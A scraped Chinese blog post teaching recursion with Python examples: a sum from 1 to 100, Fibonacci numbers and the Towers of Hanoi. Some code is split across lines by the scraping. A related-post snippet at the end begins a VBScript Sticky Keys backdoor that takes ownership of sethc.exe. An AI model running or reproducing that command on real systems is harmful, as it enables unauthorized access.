有意思的遞迴

2021-08-13 19:46:04 字數 1197 閱讀 3366

先來乙個入門的:

上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?

自然是迴圈來做這件事。

如果不用迴圈怎麼做呢?

def

sum(first, end):

if end == 1:

return first

elif end > 1:

return sum(first + end, end-1)

print(sum(1,100))

結果是5050,根當時高斯算出來的結果是一樣的。

當然了,這個sum函式還能算任意的1到任何的n的自然數之和。

斐波那契數列

第一項是1,第二項是1,第三項是前倆項的和,依次類推。

表示式:f0=1,f1=1,f2=2,f3=3, …..fn = fn-1+fn-2

實際的樣子:1,1,2,3,5,8,13,21…….

如果想得到第n項的值我們該如何做呢?

def

fib(n):

if n == 1:

return

1elif n == 2:

return

1elif n > 2:

return fib(n-1)+fib(n-2)

這樣的話我們就可以呼叫fib函式來算出第n項的值。

更有意思的就是漢諾塔了,

有3個桿子,有乙個桿子上面套著從小到大的一排圓盤,要想把乙個桿子上的所有圓盤都移動到另乙個桿子上,條件是圓盤必須是大的在下面,小的在上面。要像將圓盤移動到另乙個桿子上所用的最短的步數。

def

move

(n, a, b, c):

if(n == 1):

print(a, '->', c)

else:

move(n-1, a, c, b)

move(1, a, b, c)

move(n-1, b, a, c)

move(3, 'a', 'b', 'c')

結果如下

a->c

a->b

c->b

a->c

b->a

b->c

a->c

是不是很神奇。

有意思的話

1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...